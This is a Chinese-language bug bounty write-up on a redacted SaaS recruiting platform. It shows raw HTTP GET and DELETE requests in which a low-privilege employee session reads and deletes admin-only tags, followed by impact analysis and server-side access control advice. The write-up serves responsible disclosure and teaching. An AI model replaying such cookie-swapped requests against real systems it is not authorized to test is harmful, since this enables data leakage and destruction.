最近在刷某海外知名 Bug Bounty 平台时,我成功斩获了一个中危(CVSS 5.4)漏洞,并顺利拿到数千块钱的赏金。今天,我想和大家复盘一下这个漏洞的发现过程。它虽然不复杂,但却完美印证了渗透测试中一个极其经典的直觉:“永远不要相信客户端的访问控制”。
0x01 故事背景
这次的目标是一家海外的 SaaS 招聘管理平台(下文简称为 redacted.com)。这类平台的核心业务逻辑非常庞大,涉及候选人追踪、企业员工权限分配、招聘流程自动化等。
在任何包含多租户(Multi-tenant)和多角色(RBAC)架构的系统中,权限控制(Access Control) 往往是重灾区。厂商通常会根据用户的角色(如 Admin、标准 Employee、外部访问者等)来限制其能看到的内容。
这次的突破口,就隐藏在看似严丝合缝的“角色权限隔离”之下。
0x02 信息收集
按照我挖洞的习惯,面对复杂的 RBAC 系统,我会注册两个不同权限的测试账号,并开两个浏览器进行交叉比对:
- 账号 A (Admin): 拥有系统的最高权限,能看到所有的功能。
- 账号 B (Employee): 这是一个普通员工账号(角色名为 Aidan),权限极低,只能查看自己的基本信息。
当我用 Admin 账号登录并进入 https://app.eu2.redacted.com/companies/[REDACTED_ID]/settings/tags 时,我看到了一个名为 “标签管理器 (Tag Manager)” 的完整 UI 面板。在这里,管理员可以自由地查询、新增和删除招聘标签(如“面试中”、“淘汰”、“重点跟进”等)。
紧接着,我切换到低权限的 Employee 账号。果不其然,在 UI 界面上,整个 “Settings” 和 “Tag Manager” 的入口直接消失了。前端代码非常尽责地把不属于我的功能隐藏了起来。
但是,这就安全了吗?
此时,我脑子里闪过一个强烈的预感:前端隐藏 != 后端鉴权。许多现代单页应用(SPA)在开发时,只通过前端路由来控制界面的可见性,却忘了在 API 层加上真正的铁锁。如果我直接拿着低权限的 Cookie,去强行叩击那个只有 Admin 才能调用的 API,会发生什么?
0x03 漏洞利用
本以为到此为止,一切都在系统原本的规则内运行,然而,接下来的发现直接推翻了我对该平台安全性的假设。
Step 1: 抓取 Admin 的合法请求
首先,我回到 Admin 账号

在 Burp Suite 的 HTTP History 中捕获了获取标签列表的 GET 请求:
GET /app/companies/[REDACTED_COMPANY_ID]/api/tags?color=&page=1&per_page=25&query=&sort_column=name&sort_direction=asc&tagged_type= HTTP/2
Host: tt.eu2.redacted.com
Cookie: _tt_session=[ADMIN_SESSION_TOKEN]; ...
Sec-Ch-Ua-Platform: "Windows"
X-Requested-With: XMLHttpRequest
Accept: application/json

不出所料,服务器返回了 200 OK,并在 Response 中吐出了包含敏感标签的 JSON 串。
Step 2: 登录低权限用户,进行越权读取

接下来是见证奇迹的时刻。我将 Burp Suite 中的这个请求发送到 Repeater,然后把 Admin 的 Cookie,全盘替换成了刚才那个连 UI 界面都看不到的 Employee 的 Cookie。
GET /app/companies/B4h-aSrUeJk/api/tags?color=&page=1&per_page=25&query=&sort_column=name&sort_direction=asc&tagged_type= HTTP/2
Host: redacted.com
Cookie: redacted
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
X-Pusher-Socket-Id: 275294.6190
X-Ember-Route: employee.index
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
按下 Send 键的瞬间,我有些紧张。几毫秒后,左侧的响应面板亮起了代表成功的绿色:HTTP/2 200 OK。

越权读取成功! 作为一个毫无管理权限的底层员工,我竟然畅通无阻地拉取到了整个公司的内部招聘标签字典。这是一个典型的 IDOR(Insecure Direct Object Reference,不安全的直接对象引用)导致的信息泄露。
Step 3: 乘胜追击,尝试破坏性操作 (DELETE)
如果 GET 接口没有鉴权,那么危险的 DELETE 接口呢?如果我能越权删除数据,这个漏洞的危害将呈指数级上升。

我再次在 Admin 账号下随便删除了一个测试标签,抓到了对应的接口:/app/companies/{company_id}/api/tags/{tag_id}。

登录低权限Aidan用户,无该功能权限

依葫芦画瓢,我构造了如下 Payload,用低权限账号对 ID 为 25 的标签发起斩首行动:
DELETE /app/companies/B4h-aSrUeJk/api/tags/25 HTTP/2
Host: redacted.com
Cookie: redacted.com
Sec-Ch-Ua-Platform: "Windows"
Sec-Ch-Ua: "Google Chrome";v="149", "Chromium";v="149", "Not)A;Brand";v="24"
X-Pusher-Socket-Id: 275294.6190
X-Ember-Route: employee.index
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
Content-Type: application/json
Accept: */*
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Priority: u=1, i
发包

按下发送键。
HTTP/2 204 No Content
没有任何报错,服务器默默地执行了我的命令。我立刻回到 Admin 账号刷新页面,ID 为 25 的标签已经灰飞烟灭。
到这里,逻辑闭环完成。我成功通过 API 层面的 Improper Access Control,将一个普通的 UI 越权,打造成了具备任意数据删除能力的漏洞。
0x04 漏洞影响
作为渗透测试人员,我们不能仅仅停留在“弹个框”或“删条数据”,我们需要向厂商证明这个漏洞在真实业务场景中的破坏力。在提交漏洞报告时,我这样描述了它的场景化影响:
- Information Leakage(信息泄露): 招聘标签往往带有强烈的内部主观色彩(例如某些公司会暗中标注“高风险”、“薪资倒挂”等标签)。低权限员工随意浏览这些分类,会造成严重的内部数据泄露和组织架构情报外泄。
- Business Logic Disruption(业务逻辑瘫痪): 这是最致命的。在现代 HR SaaS 平台中,标签往往绑定着自动化筛选工作流(Workflow)。攻击者通过写个脚本,遍历并 DELETE 所有的 tag_id,将直接导致系统的自动化过滤机制崩溃,大量候选人简历脱库、丢失标记,HR 的业务管线将被彻底打断。
- Privilege Escalation(垂直越权): 最小权限原则被完全打破,一个普通员工实质上掌控了系统的“管理权限”。
0x05 防御与反思
提交报告后,厂商的安全团队响应非常迅速,确认了这是个有效的中危漏洞,并爽快地发放了数千块钱的赏金
那么,这个漏洞的 Root Cause(根本原因) 是什么?
其实就是开发者过度依赖了前端(Frontend)的 UI Obfuscation(UI 混淆/隐藏)。他们认为:“既然普通员工看不到那个按钮,自然就点不到那个接口”。
在这里,我想以一个网安后辈的身份,给所有的后端开发同学提几点建议:
- 强执行 RBAC(基于角色的访问控制): 对于每一个到达 /api/tags 的路由请求,后端必须在 Controller 层解析当前 Session 对应的 User,并严格校验该 User 所属的 Role 是否具备 MANAGE_TAGS 权限,且是否属于目标 company_id。
- Direct Object Validation(直接对象校验): 尤其是对于 DELETE、PUT 这种修改型操作,不仅要查对象是否存在,必须校验 Object.Owner == Current_User.ID 或者 Current_User.Role == Admin。
- 默认拒绝(Deny by Default): 在网关或路由框架层,默认所有接口都是拒绝访问的,只有在白名单上显式声明了权限要求(哪怕是 @RequiresRole(“Admin”) 注解)的接口,才能被放行。
结语
挖洞有时就像在走迷宫,很多时候厂商已经为你建好了高墙,但如果你愿意抬头看看,也许会发现墙头上根本没有拉电网。保持好奇,保持对 HTTP 数据包底层逻辑的敬畏,下一个突破口,也许就在那串不起眼的 Cookie 转换里。